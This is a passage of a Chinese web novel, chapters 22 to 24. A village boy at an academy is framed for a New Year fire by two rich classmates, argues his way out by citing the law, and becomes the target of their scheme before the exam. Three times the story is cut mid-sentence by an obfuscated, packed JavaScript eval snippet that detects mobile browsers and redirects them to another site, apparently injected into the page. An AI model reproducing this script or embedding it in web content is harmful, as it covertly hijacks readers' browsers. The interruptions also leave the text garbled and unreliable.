当朝的衙门从腊月二十六至来年正月初六放假,叫做“元正”,各地的学子们跟着衙门的日子走,也在这天放假,但他们来年没那么早开学,会放到正月十七。 统共二十来天。 沈持收拾完东西回到没玉村。 镇上的私塾比书院晚几天,到了年二十七,还在开课,晚上沈正回来的时候眼睛红红的,进屋一把鼻涕一把泪,身上的青衿看起来像沐猴而冠,他哭道:“阿娘我学不会,真的学不会,我不要念书了……” 他想去山坡上放牛,比读书好受多了。再也不用挨夫子每天打手心了。 朱氏看着阿二的样子,奉送了杨氏一个“看把孩子逼得太紧了吧”的眼神,杨氏气得嘴都歪了,一把捞起扫帚照着沈正身上打下去:“老子娘不吃不喝送你去上学享福,你说不上就不上了,你怎么对得起我……” 张氏看了眼阿秋,很是满意自己生的儿子:“大嫂子消消气,阿二不过一时懒惰,你把他打坏了,明儿可怎么考秀才呢……” 听上去是在帮着沈正说话,可实际上在拱火,看笑话呢。 “你打死我算了,”沈正听到考秀才之类的话更崩溃了,直接滚在地上:“我死也不去私塾了……” 沈家乱哄哄闹成一团。 沈山叹了口气,喝斥道:“他不爱上学,谁还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|12659229|133570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能逼着他去,老大家的,不要打了。” 杨氏这才停下手。 张氏在一旁说嘴:“横竖有阿池在阿二后头呢,你什么时候见二嫂打他了?不是谁都能跟阿秋一样念书好的……” 朱氏听不下去,拉着沈持和沈月回到屋里,她担忧自家儿子有一天也会闹着退学,说道:“阿池,要是你哪天学不下去了,提早跟娘说,咱们不受那个罪。” 沈持:“放心吧阿娘,我念书念的很好呢。” 下个学年书院考试,说不定他一下子能考到内舍去呢。不过事成之前他不会说出来的,这种好事情,说了别人也不知道意味着什么。 考进内舍,两年后就可以县试下场,去科举升级了。 叫他如何不想内舍班。 沈知秋听到沈正说不想念书了浑身发抖,他在苏家私塾里算念书好的,可是一想起苏秀才的戒尺打到别的同学手上,爽脆的“啪”一声,手掌登时肿起老高,每每这时,他总觉得这手板子迟早会落到他手上。 一想到这个,他睡不着觉,哪怕睡着了也不踏实,第二天格外没有精神,苏秀才讲的课,他要花很长时间才能记住,已经觉得在功课上力不从心了。 “我的阿秋有文曲星的运,”张氏在耳边絮叨:“看吧,过几年你一定能头一个考中县试。” 沈知秋听了隐隐干呕,他觉得自己好像生病了。 他看着放假在家里松弛一躺的沈持,不由得心生疑惑,找个机会悄悄问道:“阿池哥,书院的夫子不打人的吗?” 沈持想了想:“打,在书院不好好念书,调皮捣蛋要挨夫子戒尺的。” 蒙童们在青瓦书院依照入学时发放的《学规教条》行事,一旦淘气犯错,也是会挨戒尺的。 不过多数时候,夫子们都以说教为主。 沈知秋想:那可真好,他从来不捣乱,要是在青瓦书院,就不会挨夫子打手板了吧。 很是羡慕。 …… 腊月底赶完两场大集,采办好年货,孩子们揣着糖果一蹦一跳笑开颜的时候——年三十来了。 这一天,家家户户清晨洒扫门庭,贴门神、换桃符,祭祀祖宗,以求新的一年家中人丁旺,六畜肥,升官发财走大运。 禄县当地的风俗,年三十的晌午,县中各村的男丁三五一伙结伴,敲锣击鼓,走街窜巷,热闹到村外的河边、山地上,谓之“埋祟”,即扔掉旧一年的坏运气。 伴随着左邻右舍间爆竹声不断,锣鼓声也响起来,年味儿直冲云霄。 “阿池,”朱氏从外头端了一碟子炸素丸子进来:“你爹今儿在清镇上轮值,你去找找他,给他捎带些吃的。” 元正假期间虽然县太爷“封印”,但底下的衙役们还得轮值守好县中的百姓,不叫出丝毫乱子。对于沈煌他们来说,这叫做公事不废,喜庆有度。 沈持接过来,拿在手上去找沈煌。 天寒色青苍,日头有些冷光。 走到清镇边上的时候,他远远瞧见两个穿绵绸袍子十来岁的大户人家的公子手里拿着一捆爆竹正在家门口的大路上玩耍,一个眉特别浓黑,一个脸白的没有血色,身上穿的锦袍晃荡来去。 巧了,这不是同窗冯高冯浓眉跟何九鸣何瘦白嘛。 冤家路窄,沈持的右眼皮重重一跳。 23. 第 23 章 他们在书院跟沈持结过梁子,不怎么对付的。 其中冯浓眉炫耀道:“这是我爹托人从京城买回来的烟花,点着了能放出颜色各异的火花。” 何瘦白不服气地哼道:“难道只有你有我没有的吗?”他高高举起手里的爆竹:“我的爆竹点着了会出现美人贺岁图。” “这算什么?”冯浓眉说道:“我的有白鹤献春,比你的美人高雅……” “呸,一只秃鸟也好意思跟我娇滴滴的美人儿比……” “……” 二人争执不休。眼看着就要上手扯头花。 沈持这时候恰好从他们眼前路过,他目不斜视大步流星走着。二人瞥见他却眼睛倏然一亮,贼光四溢,撒丫子跑过来堵住了他的去路。 此路不通,沈持只得冷声打个招呼:“烦请二位兄台让一让,借过。” 两人眼神不善地打量他一眼,非但没把路让开,还骄横地说道:“哟,这不是沈兄嘛?我们要比试谁的爆竹好看,你来说说……” 沈持愣了一愣:“……” 他好脾气地说道:“对不住,我要去给我爹送饭,不然等我一会儿回来再说?” 说完,他抬脚要走。 “就一会儿嘛。”何瘦白伸手拉住他不让走:“不耽误你给你爹送饭的。” 他说完点燃爆竹引线。 一经点燃,噼啪声起,眼前流星飘飞,明线迸射,进而万花破筒而出,如萤飞跃,似燕惊掠,最后一声长鸣,整个天空火树烂漫。 这是沈持来到这个朝代后头一次看见烟花,勾起他记忆中的焰色反应,铝镁合金燃烧时会发出耀眼的白光,硝酸锶和锂燃烧时会发出红色光,硝酸钠燃烧时发出黄色光……科学无处不在,他为科学叫了声好。 冯浓眉紧跟着引燃他的爆竹。 瞬息烟火大发,声如雷霆,火光照亮半空,但见千万红鱼奋迅跳跃于云海内,末了似有喜鹊飞来“啾啾”高鸣。 沈持也叫了声好,还是为科学。 他看着二人,和了个稀泥:“你们的烟花都很好。”浓眉和白瘦齐刷刷对着他翻了个白眼。 “你说的美人贺岁呢?” “你的白鹤献春呢?” 两人放出来的这两束烟花和吹牛的货不对板,又相互掐起来。“再放。”各自又抽出一束来。 沈持奉陪不起,说什么也要走人:“二位兄台,小心失火啊。”禄县之中的房屋多为木质结构,沾上火星很容易着火,而且屋与屋之间的距离都不大,一座屋子失火,能殃及一整片房屋。 稍有不慎,整个县都可能付之一炬。 打更人夜里到点每敲一次锣,嘴里喊的都是“天干物燥,小心火烛。”,而不是“小心盗贼”,可见防火比防盗来得更重要,衙门也更为紧张。 “要你管。”二人哼了声。 沈持没再说话,他刚走出两步,就听身后传来噼啪的燃烧声,似乎不是烟花炸开的声音。 沈持回头一看,只见一束没有升空的爆竹被扔到路旁,引燃了一垛秋末没有焚烧的秸秆。 火势接着风骤很快增大,朝镇中蔓延开去。任它燃烧下去,整个禄县都可能付之一炬。情急之中,沈持喊道:“冯兄何兄,快灭火啊。” 冯、何两府的大宅前没有放置水瓮,他只好挖起地上混着少量积雪的泥土朝火中投去。 “着便让它着。”何瘦白在一旁袖手笑道:“方才烟花升腾是‘火树拂云飞赤凤①’,这下‘琪花满地落丹英②’,妙哉妙哉。” 冯浓眉大笑:“你念这诗他能听懂?”说完,指了指正在扑火的沈持:“不过才背几天《三千百》的傻子。” 何瘦白:“先生总夸你功课好,冯兄,见此情景,你不赋诗一首吗?” 冯浓眉端着架子来回踱四方步,颇有效曹植七步成诗的意思,好半天,他才徐徐吟出口:“天上的太阳红大,地上的大树高绿。” 何瘦白无声发笑:“好诗啊。” 打油的很。 “哼,何兄不必反讽于我,”冯浓眉听出了好赖话:“当今天子重文章,无需论汉唐,这诗词做成什么样,不影响我文章锦绣。” …… 沈持被熏得满脸泥污,分不出心思来回应他们的嘲讽和“雅兴”,他脱下外衫,裹着泥土一兜兜往火中砸去,但无济于事。 远处有人看到后,惊呼奔走:“失火了,失火了……”纷纷提着水桶跑来救火。冯、何二家的家丁听到动静,也回了家中老爷,吆五喝六地出来给自家儿子撑腰做主。 冯高他爹冯福,何九鸣他爹何响,都挺着肥硕的大肚子面目耷拉地瞪着沈持。 正在清镇巡逻的衙役们听到嘈杂声,飞驰过来。 巧的是,来的正是沈煌。 父子对视的那一眼,沈持张了张口,无声地说道:爹,快去请县丞大人来。 冯、何两家不是沈煌一个小小的衙役惹得起的。 沈煌果断地打发人去给正在家中小酌的县丞王大虬报信,不一会儿,王县丞带着十几名衙役匆匆赶来。 何瘦白一见官差来了,指了指沈持:“喏,是他捡我们的爆竹筒丢到草垛上失了火,不关我俩的事。” 沈煌看沈持一眼,不容他多想,转身又去灭火。 纵然有县丞王大虬坐镇,这场火也扑灭的艰难,最终还是烧毁了不远处的一间瓦房,万幸的是没有人伤亡。 冯浓眉心虚地说道:“是啊官差老爷,是他点的火,我全都看见了。” 何、冯恶人先告状,叫沈持有口难辨,着实被动。 王大虬觑一眼沈持:“是这样的吗?” 沈持不打算自证,他说道:“我朝律例有规定:凡市井街巷,皆不得燃火,违者罚银二十两。何郎君方才说了,爆竹筒是他们的,是他们燃的火,该不该罚?” 当朝专门有关于火灾的惩处律例,小时候沈煌告诫他不要玩火的时候提过一嘴,没想到这么快就用上了。 “你……”冯浓眉惊觉猪队友给自己挖了个坑:“年三十处处燃放烟花,即便县太爷来了,我也放得。” “这位小郎君承认火是你点的了,”沈煌这时冷声道:“我朝律例还规定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|12659230|133570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘凡观看失火而不救者,有罪。’”他看了一眼冯、何二人的手:“你们方才没有救火,这又要怎么说?” 他们在县衙当衙役的,虽然不通文墨,写不出文章,但常年巡逻县中,还是熟记一些当朝关于市井治理的基本律例的。 何瘦白不屑地瞪他一眼:“怎么说?自然是问县丞老爷喽,难道叫你说了算啊?” 县丞王大虬看看沈煌,又转而朝沈持看去。 沈持面色如常:“县丞大人,冯郎君说的不对,我没有捡他们的爆竹筒,亦未丢到草垛上。” 他望了一眼冯、何两家阔气的大门,说道:“《刑律·城郭》还规定‘诸城郭人民,邻甲相保,门置大瓮,积水常满,家设火具,每物须备③’,请问你们两家的大门口因何没有水瓮等防火用具?” 受沈煌的影响,他在青瓦书院时上藏书馆去,偶尔也会翻阅当朝律例的书籍。此时正好拈来一用。 一直没有说话的冯、何两位乡绅一惊,没想好说辞狡辩:“这……这不是过年嘛,才移到门内的你说说……” 何瘦白嘀咕:“县丞老爷,火真的是他放的。” 还不死心要栽赃给沈持。 沈持说道:“我路过此地的时候,冯郎君与何郎君各先燃放一束,有两筒飞上天落于地上,”他用手指了指西边:“在那边或许可以找到。” 他还说出他们燃放的爆竹筒子上的颜色和图案。 两名衙役顺着他指的方向过去寻找爆竹筒,果然找到他说的那个爆竹筒子,依稀能辨认出上面的图案,和沈持说的完全吻合。 沈持又蹲下身在烧得焦黑的土里扒拉,找出一截爆竹筒残骸:“是这支没有放出烟火的爆竹被踢到草垛上引发的火灾,”他看着冯浓眉:“是你的吧冯郎君?” 他把二人斗烟花的事说了出来。 “你胡说,”冯浓眉心虚地发怒:“别乱栽赃。” 沈持不疾不徐地说道:“市面上一捆烟花里头有八束,你二人先放了一支,手里应该各留七束,后来你又点燃一束,没腾空,你生气踢飞了,是不是?” “一数你手里剩的烟花便可知。” 冯高下意识地捂住了他的那捆爆竹,嗫嚅道:“凭什么给你数。” 王大虬实在听不下去了:“冯小郎君?” 冯高:“我的东西,你们凭什么数。”耍起无赖。 冯福赶紧呵斥住他:“高儿,县丞大人面前不得无礼。” 县丞王大虬多人精,一下子看明白了,他沉下脸看着冯家家主:“冯老爷,你看?” 冯福面色惶恐:“今日除夕,犬子给大人和诸位添麻烦,实在惭愧。”他说道:“开春之后,我冯家马上出钱修缮烧毁的房屋,你看……” “我何家也出钱,”何响也跟着说道:“今日惊动县丞大人实属不该,我何家略表心意,给各位赔罪了。” 说完,他让家丁端来纹银两锭,放到王大虬面前。 想破财消灾。 冯家紧跟着也端出一盘小银稞子,冯福用他肥厚的手抓起一把,往沈煌等衙役兜里送。 24. 第 24 章 “你们都收了吧,”有钱好办事,县丞王大虬对着盘中的纹银笑了笑:“大过年的图个吉兆,就不跟懵懂小儿过不去了,那就这样吧,都回去好好过年。” 叫散了。 衙役们自是无话可说。 沈煌等人要到别处去巡逻,沈持把炸素丸子给他:“爹换了班早点回去。” 沈煌把冯家给的小银稞子从口袋里掏出来给沈持:“村南头的老丁家,上个月听说两个儿子在外头战死了,朝廷还未拨付抚恤金,一家子孤儿寡母的也不知道怎么过年,你把这钱拿去给他们。” 一把小银稞子约摸有小半两。 跟着沈煌的衙役也纷纷解囊,把到手的小银稞子凑了凑:“老丁家怪可怜的。” 沈煌行走在禄县当差,一贯的急公好义。朱氏跟他说“你爹他不求好名声,只求上天看在我们家积德的份上,治好阿月的哑病。”,念及此,“嗯。”沈持重重地点点头。 等衙役们一走远,冯高和何九鸣各自趴在自家的墙头上恨恨地看着沈持——这梁子,结大了。 …… 大年三十夜,沈煌进家门后,沈家一家子围炉团坐,酌酒吃肉,守岁。 一大家子人这一刻其乐融融。 但也没有人十分留意沈持和沈月,兄妹俩只好专注吃饭,等一吃饱,便悄悄溜走,回房去了。 沈持或温书或整理食谱,沈月坐在一边安静地看着,时而去找些糖果来吃,倒也自在。 大年初二,村头的马车、牛车和驴车一辆辆往来,是各家嫁出去的女儿们带着丈夫孩子回村探亲来了。 而沈家的三房媳妇,娘家爹娘都不在了,因而不用走娘家,都留在沈家过初二。 沈家的两个堂姑奶奶大沈氏和小沈氏——是沈山哥哥的女儿,而沈山这一辈没有姑奶奶,一大清早就进门了,她俩嫁在邻村,姑爷都是憨厚的农人,带来的年礼也是农家自产的腊肉、腊鱼干等物,听说娘家的侄子们都在念书,咬牙拿碎银子去兑换了四支毛笔,一人送一支。 沈山欢喜不已,在吃团圆饭的时候对侄女儿女婿们说道:“你们娘家这四个侄子,我看得有个能出息。” 还没等他再往下说,老刘氏接话道:“他们四个娃儿,阿大阿秋念书最好,最用功。” 不像阿二,成天闹着不想去私塾念书。 她似乎忽略了沈持,只说:“老二家的在书院念书,一年得花八两银子,老二家是真舍得。” “花在念书上是正经事,”沈山瞪了老刘氏一眼:“我看阿池心里有谱着呢。” 说这话的时候,可能连他自己都不知道,他的心已渐渐偏向孙子沈持。 嫁出去的两位堂姑奶奶不好多嘴娘家的事情,只说道:“以后他们取得功名,咱也沾沾娘家的光。” …… 年初二一过,居家的日子像流水账一般无味而飞逝,很快到了正月十七青瓦书院开学,沈持又回去念书。 入学半年了,外舍班的蒙童们把三千百背得滚瓜烂熟,多数人的字也有点模样了。 几个功课好的,冯高、何九鸣,还有裴惟等人,更是在跟六月底的分班考暗暗较劲,两手两耳一嘴不沾闲事,一心只读《三千百》,卷得很。 去年年三十那天得罪的冯、何二人,似乎忘了那茬子事儿,新的学年再没找过沈持的麻烦。 彼此很是井水不犯河水。很好。 “你这一届,”一次,江载雪问道:“听说有两个学生学的极好,已在读四书五经了?” “江兄问的是冯高和何九鸣二位同窗吗?”沈持说道。 江载雪:“大抵是这两位。”他只记得是冯、何二位乡绅之子。 这般,今年的升班考,这二人稳当了。想来沈持如何用功也是赶不上的。 江载雪有些担忧地问岑稚:“岑兄,外舍甲班与乙班功课好的学生多吗?” 外舍甲、乙二班。 要是他不提,都给忘记还有这俩班了。 外舍甲、乙两班,这俩班的学生比外舍丙班,沈持所在班的学生入学早一两年甚至更久,是往届考不进内舍班,一年一年留下来的学生,论资质多半是平庸的,但难保没有晚开窍亦或勤奋用功的。 江载雪生怕这俩班功课好的学生多把沈持给比下去,毕竟书院一年从外舍班选入内舍班的才十来名学生,如今外舍甲、乙丙三个班,一个班均分才三四个,要是甲、乙班占的人数多上两三个,丙班只怕就只有一两个能升到内舍班了,有冯高和何九鸣开蒙早的在,哪里轮得到沈持。 岑稚叹了口气:“上次听孟夫子说今年外舍甲、乙两个班聪颖勤奋的学生并不少。” 沈持被他们说的略有些紧张,他问江载雪:“从外舍考到内舍,光读书院指定的《三千百》等那几本书够吗?” 这些书他已经背熟了。 江载雪看了一眼跟在身旁的岑稚,皱眉说道:“考题……嗯,说不好。但以抽蒙学书的背诵为主。” “对,是这样的,”岑稚说道:“我和江兄前年考进的内舍班,只抽了蒙学书的背诵。” 但听说哪一年夫子们考完《三千百》后又即兴加试题目,抽的竟然是《官德鉴》中的名篇《萧何惜才荐韩信》,偏的让所有学生都傻了眼。 “沈兄,”他说道:“我想起来了,先前有说放在书院藏书馆最显眼位子上的书,都有可能会被抽到,你若是学有余力,不如多去去藏书馆饱览群书,万一碰到了岂不是锦上添花?” 《官德鉴》正是放在书院藏书馆最显眼位子上的若干本书之一,两下里一印证,觉得“据说”也算是有些依据。 尽力而为吧。 给划范围了,沈持心花怒放:“多谢江兄、岑兄提点。” 于是,除去上课之外,沈持多半时间泡在藏书馆,夜以继日地看书。“叽叽叽”转眼春日明媚,早莺争暖树,飞燕啄新泥。 三月三,青瓦书院师生学田里锄地、播种,学习春耕。书院的夫子们一水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|12659231|133570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的文弱书生,也只能走个过场,大家一块儿在田地里玩玩罢了。 沈持下过地,正挥动锄头给裴惟示范锄地的正确姿势,周围围了一圈同窗,有说有笑。 不远处,冯高把两条浓眉压得更低,看起来有些阴鸷,他下巴朝沈持微抬了下,对何九鸣说:“你说,数月之后的分班考,咱俩能考进内舍班吗?” “那当然,”何九鸣不屑地说道:“有比我俩功课还好的?” “他呀。”冯高往沈持那边瞟一眼,叹气:“我留意几日了,他最近玩命似的读书。” 他最看不上这种出身微贱之人发奋,想到有朝一日沈持要越过他去,冯高心中不禁怒意滚滚。 何九鸣凑过去,几乎是贴着他的耳朵说了句话:“我想了许久,只有这个法子能让他考不进内舍班。” 甚至,还能让他滚出青瓦书院。 “捧杀他?”冯高将脑袋抬起来,眼睛朝天,阴沉笑道:“有点妙啊。” 先让他上天,再找个机会踹他一脚,把他“啪唧”拍在地上起不来,让他跪伏在他们脚下,彻底挫掉沈持的锐气。 送沈持一记华丽丽的捧杀。 先捧后杀,让他丢人,让他再也爬不起来。 不远处,沈持挥了半天的锄头,全身的筋骨都拉伸一遍,酣畅淋漓,丝毫不知有人要对他使坏。 …… 当日放学回家,冯高便同他父亲冯章说道:“爹,我们班上出了个神童,过目成诵,你可晓得?” “神童?”冯章听了呵呵笑道:“高儿,爹只知道你的功课好,未听说哪有什么神童。” 当朝视神童为一县的祥瑞,哪能轻易出现。 冯高翻了翻白眼,违心地说道:“爹,他比我强多了。” 心中不屑地啐了一口:沈持给我提鞋他都不配。 “哦?”冯章被儿子一说倏然紧张起来:“你得家中西席教导三年才入书院,他一个低贱衙役之子,能比你强?” 这话还是从自家儿子口中说出来的,他有点生气。 “我都说了,”冯高委屈巴巴地继续演下去:“他聪颖过人,”他赌气似的大喊一声“你叫我怎么比得过。” 情绪拉满。 冯福气得胸闷、气短、心口痛:“哼,你不必长别人气焰灭自己威风。”他摔门而去。走出冯家的大门,迎面碰到了何响,他同是一脸怒气:“老冯,犬子回来说青瓦书院出了个神童,叫沈持,把他和高儿都比下去了。” “哎呀呀,老何,”冯福遇到了知音一般:“犬子也这般说。” “真神童假神童,一考便知晓,”何响说道:“对了,青瓦书院六月份升班考,不如你我邀请县太爷等一众乡绅亲临观摩,考校这个神童怎样?” “对,请县太爷和乡绅们考校,”冯福思索片刻后说道:“要是他沽名钓誉,到时候也好趁机赶他出书院。” 何响:“嗯,到时候县太爷在场,他要是没点儿东西,不怕赶不走他。”